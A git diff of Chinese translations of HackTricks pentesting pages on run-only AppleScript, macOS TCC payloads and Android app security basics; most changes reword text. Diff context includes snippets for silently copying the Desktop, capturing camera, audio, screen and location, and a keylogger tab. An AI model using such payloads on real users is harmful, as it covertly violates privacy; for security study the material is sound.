Apple脚本可以很容易地进行“**编译**”。这些版本可以使用`osadecompile`轻松地进行“**反编译**”。
|
||||
Apple 脚本可以很容易地被“**编译**”。这些版本可以通过 `osadecompile` 轻松“**反编译**”。
|
||||
|
||||
然而,这些脚本也可以导出为“只读”(通过“导出...”选项):
|
||||
然而,这些脚本也可以通过“导出...”选项以“**只读**”形式**导出**:
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
file mal.scpt
|
||||
mal.scpt: AppleScript compiled
|
||||
```
|
||||
在这种情况下,即使使用`osadecompile`也无法反编译内容。
|
||||
```markdown
|
||||
即使使用 `osadecompile` 也无法反编译此类内容。
|
||||
|
||||
然而,仍然有一些工具可以用来理解这种可执行文件,[**阅读此研究以获取更多信息**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)。工具[**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler)和[**aevt_decompile**](https://github.com/SentineLabs/aevt_decompile)将非常有用,以了解脚本的工作原理。
|
||||
然而,仍有一些工具可以用来理解这类可执行文件,[**阅读此研究以获取更多信息**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/))。工具 [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) 和 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) 将非常有助于理解脚本的工作原理。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,14 +1,16 @@
|
|||
# macOS TCC 负载
|
||||
# macOS TCC 载荷
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在**HackTricks 中看到你的公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注我。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -54,7 +56,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
复制 `$HOME/Desktop` 到 `/tmp/desktop`。
|
||||
将 `$HOME/Desktop` 复制到 `/tmp/desktop`。
|
||||
```bash
|
||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||
```
|
||||
|
@ -439,7 +441,7 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
|||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC - 录音" %}
|
||||
录制5秒的音频并保存在 `/tmp/recording.m4a`
|
||||
录制5秒音频并保存至`/tmp/recording.m4a`
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -591,7 +593,7 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
|||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
将位置写入 `/tmp/logs.txt`
|
||||
将位置信息写入 `/tmp/logs.txt`
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -655,7 +657,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
在 `/tmp/screen.mov` 中录制主屏幕5秒钟
|
||||
将主屏幕录制5秒,保存在`/tmp/screen.mov`
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -713,7 +715,6 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
|
||||
{% tab title="Shell" %}
|
||||
录制主屏幕5秒钟
|
||||
{% endtab %}
|
||||
```bash
|
||||
screencapture -V 5 /tmp/screen.mov
|
||||
```
|
||||
|
@ -782,7 +783,7 @@ return 0;
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="键盘记录器" %}
|
||||
将按下的键存储在 **`/tmp/keystrokes.txt`** 中
|
||||
将按下的键存储在 **`/tmp/keystrokes.txt`**中
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -890,17 +891,19 @@ return 0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**辅助功能是一个非常强大的权限**,你可以以其他方式滥用它,例如,你可以仅通过它执行**按键攻击**,而无需调用系统事件。
|
||||
**辅助功能是一个非常强大的权限**,您可以以其他方式滥用它,例如,您可以仅通过它执行**按键攻击**,而无需调用系统事件。
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?你想在**HackTricks**中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏。
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
其他支持 HackTricks 的方式:
|
||||
|
||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,169 +1,177 @@
|
|||
# Android应用程序基础知识
|
||||
# Android 应用基础
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便您可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到对您最重要的漏洞,以便更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术堆栈中找到问题,从 API 到 web 应用程序和云系统。[**今天免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Android安全模型
|
||||
## Android 安全模型
|
||||
|
||||
**有两个层次:**
|
||||
**有两层:**
|
||||
|
||||
* **操作系统**,将安装的应用程序相互隔离。
|
||||
* **应用程序本身**,允许开发人员**公开某些功能**并配置应用程序的功能。
|
||||
* **操作系统**,它使安装的应用程序彼此隔离。
|
||||
* **应用程序本身**,它允许开发人员**暴露某些功能**并配置应用程序能力。
|
||||
|
||||
### UID分离
|
||||
### UID 分离
|
||||
|
||||
**每个应用程序都被分配一个特定的用户ID**。这是在应用程序安装过程中完成的,因此该应用程序只能与其用户ID拥有的文件或共享文件进行交互。因此,只有应用程序本身、操作系统的某些组件和root用户可以访问应用程序的数据。
|
||||
**每个应用程序都分配了一个特定的用户 ID**。这是在安装应用程序时完成的,因此**应用程序只能与其用户 ID 或共享**文件拥有的文件进行交互。因此,只有应用程序本身、操作系统的某些组件和 root 用户可以访问应用程序数据。
|
||||
|
||||
### UID共享
|
||||
### UID 共享
|
||||
|
||||
**两个应用程序可以配置为使用相同的UID**。这可能对共享信息有用,但如果其中一个应用程序受到损害,则两个应用程序的数据将受到损害。这就是为什么**不鼓励**这种行为的原因。\
|
||||
**要共享相同的UID,应用程序必须在其清单中定义相同的`android:sharedUserId`值。**
|
||||
**两个应用程序可以配置为使用相同的 UID**。这对于共享信息很有用,但如果其中一个受到损害,两个应用程序的数据都将受到损害。这就是为什么这种行为是**不鼓励**的。\
|
||||
**要共享相同的 UID,应用程序必须在其清单中定义相同的 `android:sharedUserId` 值。**
|
||||
|
||||
### 沙箱
|
||||
### 沙箱化
|
||||
|
||||
**Android应用程序沙箱**允许将**每个应用程序**作为**单独的进程在单独的用户ID下运行**。每个进程都有自己的虚拟机,因此应用程序的代码在其他应用程序中运行时处于隔离状态。\
|
||||
从Android 5.0(L)开始,强制执行**SELinux**。基本上,SELinux拒绝了所有进程之间的交互,然后创建了**仅允许它们之间的预期交互的策略**。
|
||||
**Android 应用程序沙箱**允许**每个应用程序**作为**单独的进程在单独的用户 ID 下运行**。每个进程都有自己的虚拟机,因此应用程序的代码与其他应用程序隔离运行。\
|
||||
从 Android 5.0(L) 开始强制执行 **SELinux**。基本上,SELinux 拒绝了所有进程交互,然后创建策略来**只允许它们之间的预期交互**。
|
||||
|
||||
### 权限
|
||||
|
||||
当您安装一个**应用程序并请求权限**时,该应用程序正在请求在**AndroidManifest.xml**文件中的**`uses-permission`**元素中配置的权限。**uses-permission**元素指示请求的权限的名称在**name**属性中。它还具有**maxSdkVersion**属性,该属性停止在高于指定版本的版本上请求权限。\
|
||||
请注意,Android应用程序不需要一开始就请求所有权限,它们也可以**动态请求权限**,但所有权限必须在**清单**中**声明**。
|
||||
当您安装**应用程序并请求权限**时,应用程序正在请求在**AndroidManifest.xml** 文件中配置的 **`uses-permission`** 元素中的权限。**uses-permission** 元素在**名称**属性中指示请求的权限的名称。它还具有**maxSdkVersion** 属性,该属性在指定的版本以上停止请求权限。\
|
||||
请注意,android 应用程序不需要在一开始就请求所有权限,它们也可以**动态请求权限**,但所有权限都必须在**清单中声明**。
|
||||
|
||||
当应用程序公开功能时,它可以限制**仅允许具有指定权限的应用程序访问**。\
|
||||
当应用程序暴露功能时,它可以限制**只有具有指定权限的应用程序才能访问**。\
|
||||
权限元素有三个属性:
|
||||
|
||||
* 权限的**名称**
|
||||
* **permission-group**属性,允许对相关权限进行分组。
|
||||
* **protection-level**,指示如何授予权限。有四种类型:
|
||||
* **Normal**:当应用程序**没有已知的威胁**时使用。用户**不需要批准**。
|
||||
* **Dangerous**:表示权限授予请求应用程序一些**提升的访问权限**。**用户被要求批准**。
|
||||
* **Signature**:只有与导出组件相同的证书签名的应用程序才能被授予权限。这是最强的保护类型。
|
||||
* **SignatureOrSystem**:只有与导出组件相同的证书签名的应用程序或以系统级访问权限运行的应用程序才能被授予权限。
|
||||
* **permission-group** 属性,允许对相关权限进行分组。
|
||||
* **protection-level** 指示如何授予权限。有四种类型:
|
||||
* **Normal**:当对应用程序**没有已知威胁**时使用。用户**无需批准**。
|
||||
* **Dangerous**:表明权限授予请求应用程序一些**提升的访问权限**。**用户被要求批准它们**。
|
||||
* **Signature**:只有**由与导出组件相同的证书签名的应用程序**才能被授予权限。这是最强的保护类型。
|
||||
* **SignatureOrSystem**:只有**由与导出组件相同的证书签名的应用程序**或**具有系统级访问权限的应用程序**才能被授予权限
|
||||
|
||||
## 预安装应用程序
|
||||
## 预装应用程序
|
||||
|
||||
这些应用程序通常位于**`/system/app`**或**`/system/priv-app`**目录中,其中一些应用程序经过了**优化**(您可能找不到`classes.dex`文件)。这些应用程序值得检查,因为有时它们以**太多的权限运行**(如root权限)。
|
||||
这些应用程序通常位于 **`/system/app`** 或 **`/system/priv-app`** 目录中,其中一些是**优化过的**(您甚至可能找不到 `classes.dex` 文件)。这些应用程序值得检查,因为有时它们**运行的权限太多**(作为 root)。
|
||||
|
||||
* 随**AOSP**(Android开源项目)**ROM**一起提供的应用程序
|
||||
* 设备**制造商**添加的应用程序
|
||||
* 由**手机提供商**添加的应用程序(如果从他们那里购买)
|
||||
* 随 **AOSP**(Android 开源项目)**ROM** 一起提供的
|
||||
* 由设备**制造商**添加
|
||||
* 由手机**服务提供商**添加(如果是从他们那里购买的)
|
||||
|
||||
## Root权限
|
||||
## Rooting
|
||||
|
||||
为了在物理Android设备上获得root访问权限,通常需要利用1或2个**漏洞**,这些漏洞通常是针对**设备**和**版本**的**特定**漏洞。\
|
||||
一旦漏洞成功,通常会将Linux的`su`二进制文件复制到用户的PATH环境变量指定的位置,如`/system/xbin`。
|
||||
为了获得物理 Android 设备的 root 访问权限,通常需要**利用** 1 或 2 个**漏洞**,这些漏洞通常是**特定于**设备和**版本**的。\
|
||||
一旦漏洞利用成功,通常会将 Linux `su` 二进制文件复制到用户的 PATH 环境变量中指定的位置,如 `/system/xbin`。
|
||||
|
||||
配置su二进制文件后,使用另一个Android应用程序与`su`二进制文件进行接口交互,并处理对root访问的请求,如**Superuser**和**SuperSU**(可在Google Play商店中获得)。
|
||||
配置 su 二进制文件后,另一个 Android 应用程序用于与 `su` 二进制文件交互并**处理 root 访问请求**,如 **Superuser** 和 **SuperSU**(在 Google Play 商店中可用)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,root权限过程非常危险,可能会严重损坏设备
|
||||
请注意,rooting 过程非常危险,可能会严重损坏设备
|
||||
{% endhint %}
|
||||
|
||||
### ROMs
|
||||
|
||||
可以通过安装自定义固件来**替换操作系统**。这样做可以扩展旧设备的功能,绕过软件限制或者获取最新的Android代码。**OmniROM**和**LineageOS**是两个最受欢迎的固件。
|
||||
可以**替换操作系统安装自定义固件**。这样做可以扩展旧设备的用途,绕过软件限制或获取最新的 Android 代码。\
|
||||
**OmniROM** 和 **LineageOS** 是两个最受欢迎的固件。
|
||||
|
||||
需要注意的是,并不总是需要对设备进行root操作才能安装自定义固件。**一些制造商允许**以一种经过充分记录和安全的方式解锁他们的引导程序。
|
||||
请注意,**并不总是需要 root 设备**来安装自定义固件。**一些制造商允许**以记录良好且安全的方式解锁他们的引导加载程序。
|
||||
|
||||
### 影响
|
||||
|
||||
一旦设备被root,任何应用都可以请求以root权限运行。如果一个恶意应用程序获取了root权限,它将能够访问几乎所有内容,并且可以对手机造成损害。
|
||||
一旦设备被 root,任何应用程序都可以请求以 root 身份访问。如果恶意应用程序获得了它,它几乎可以访问所有内容,并且能够损坏手机。
|
||||
|
||||
## Android应用程序基础 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Android 应用程序基础 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
这个介绍来自于[https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html)
|
||||
这个介绍摘自 [https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html)
|
||||
|
||||
### 基础知识回顾 <a href="#fundamentals-review" id="fundamentals-review"></a>
|
||||
### 基础复习 <a href="#fundamentals-review" id="fundamentals-review"></a>
|
||||
|
||||
* Android应用程序以_APK文件格式_存在。**APK基本上是一个ZIP文件**。(您可以将文件扩展名更改为.zip并使用解压缩工具打开并查看其内容。)
|
||||
* APK内容(不详尽)
|
||||
* **AndroidManifest.xml**
|
||||
* resources.arsc/strings.xml
|
||||
* resources.arsc:包含预编译资源的文件,例如二进制XML。
|
||||
* res/xml/files\_paths.xml
|
||||
* META-INF/
|
||||
* 证书存放在这里!
|
||||
* **classes.dex**
|
||||
* 应用程序的Dalvik字节码以DEX文件格式编译。**这是应用程序将默认运行的Java(或Kotlin)代码**。
|
||||
* lib/
|
||||
* 应用程序的本地库默认存放在这里!在lib/目录下,有特定于CPU的目录。
|
||||
* `armeabi`:仅针对所有基于ARM的处理器的编译代码
|
||||
* `armeabi-v7a`:仅针对所有基于ARMv7及以上的处理器的编译代码
|
||||
* `x86`:针对X86的编译代码
|
||||
* `mips`:仅针对MIPS处理器的编译代码
|
||||
* assets/
|
||||
* 应用程序可能需要的其他文件。
|
||||
* 可能会在此处包含其他本地库或DEX文件。这种情况通常发生在恶意软件作者想要尝试“隐藏”附加代码(本地或Dalvik),而不将其包含在默认位置中时。
|
||||
* res/
|
||||
* 包含未编译到resources.arsc中的资源的目录
|
||||
* Android 应用程序以 _APK 文件格式_ 存在。**APK 基本上是一个 ZIP 文件**。(您可以将文件扩展名重命名为 .zip 并使用 unzip 打开并查看其内容。)
|
||||
* APK 内容(不详尽)
|
||||
* **AndroidManifest.xml**
|
||||
* resources.arsc/strings.xml
|
||||
* resources.arsc:包含预编译资源的文件,例如二进制 XML。
|
||||
* res/xml/files\_paths.xml
|
||||
* META-INF/
|
||||
* 证书就在这里!
|
||||
* **classes.dex**
|
||||
* 应用程序的 Dalvik 字节码,以 DEX 文件格式编译。**这是应用程序将默认运行的 Java(或 Kotlin)代码**。
|
||||
* lib/
|
||||
* 应用程序的本地库,默认情况下位于此处!在 lib/ 目录下,有针对特定 CPU 的目录。
|
||||
* `armeabi`:仅为所有基于 ARM 的处理器编译的代码
|
||||
* `armeabi-v7a`:仅为所有基于 ARMv7 及以上处理器编译的代码
|
||||
* `x86`:仅为 X86 编译的代码
|
||||
* `mips`:仅为 MIPS 处理器编译的代码
|
||||
* assets/
|
||||
* 应用程序可能需要的任何其他文件。
|
||||
* 此处可能包括额外的本地库或 DEX 文件。当恶意软件作者想尝试“隐藏”额外的代码,本地或 Dalvik,不包括在默认位置时,尤其会发生这种情况。
|
||||
* res/
|
||||
* 包含未编译到 resources.arsc 中的资源的目录
|
||||
|
||||
### **Dalvik和Smali**
|
||||
### **Dalvik & Smali**
|
||||
|
||||
大多数Android应用程序是用Java编写的。Kotlin也受支持,并且与Java可互操作。为了方便起见,在本次研讨会的其余部分中,当我提到“Java”时,您可以认为我是指“Java或Kotlin”。与桌面应用程序不同,Android中的**Java代码不是在Java虚拟机(JVM)中运行**,而是编译为\_Dalvik可执行(DEX)字节码格式。在较早版本的Android中,字节码由Dalvik虚拟机翻译。在较新版本的Android中,使用Android运行时(ART)。\
|
||||
如果开发人员使用Java编写代码并将其编译为DEX字节码,那么在进行反向工程时,我们将按相反的方向进行工作。\
|
||||
大多数 Android 应用程序是用 Java 编写的。Kotlin 也得到支持,并且与 Java 兼容。为了简单起见,对于本次研讨会的其余部分,当我提到“Java”时,您可以假设我指的是“Java 或 Kotlin”。**与桌面应用程序一样,Java 代码在 Java 虚拟机**(JVM)中运行,而在 Android 中,**Java 被编译为 \_Dalvik 可执行(DEX)字节码**\_\*\* 格式\*\*。对于 Android 的早期版本,字节码由 Dalvik 虚拟机翻译。对于 Android 的较新版本,使用 Android 运行时(ART)。\
|
||||
如果开发人员用 Java 编写代码并将其编译为 DEX 字节码,为了进行逆向工程,我们会反向操作。\
|
||||
\\
|
||||
|
||||
![开发人员流程图。Java到DEX字节码](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
|
||||
![开发人员流程的流程图。Java 到 DEX 字节码](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
|
||||
|
||||
![逆向工程师流程图。DEX字节码到SMALI到反编译的Java](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
|
||||
![逆向工程师流程的流程图。DEX 字节码到 SMALI 到 Decompiled Java](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
|
||||
|
||||
**Smali是Dalvik字节码的可读版本**。从技术上讲,Smali和baksmali是工具的名称(汇编器和反汇编器),但在Android中,我们经常使用术语“Smali”来指代指令。如果您曾经对编译的C/C++代码进行过反向工程或计算机体系结构研究,那么**SMALI就像汇编语言:介于高级源代码和字节码之间**。
|
||||
**Smali 是 Dalvik 字节码的可读版本**。从技术上讲,Smali 和 baksmali 是工具的名称(分别是汇编器和反汇编器),但在 Android 中,我们经常使用“Smali”一词来指代指令。如果您在编译的 C/C++ 代码上进行过逆向工程或计算机架构。**SMALI 就像汇编语言:介于更高级别的源代码和字节码之间**。
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找出最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到对您最重要的漏洞,以便更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术堆栈中找到问题,从 API 到 web 应用程序和云系统。[**今天免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
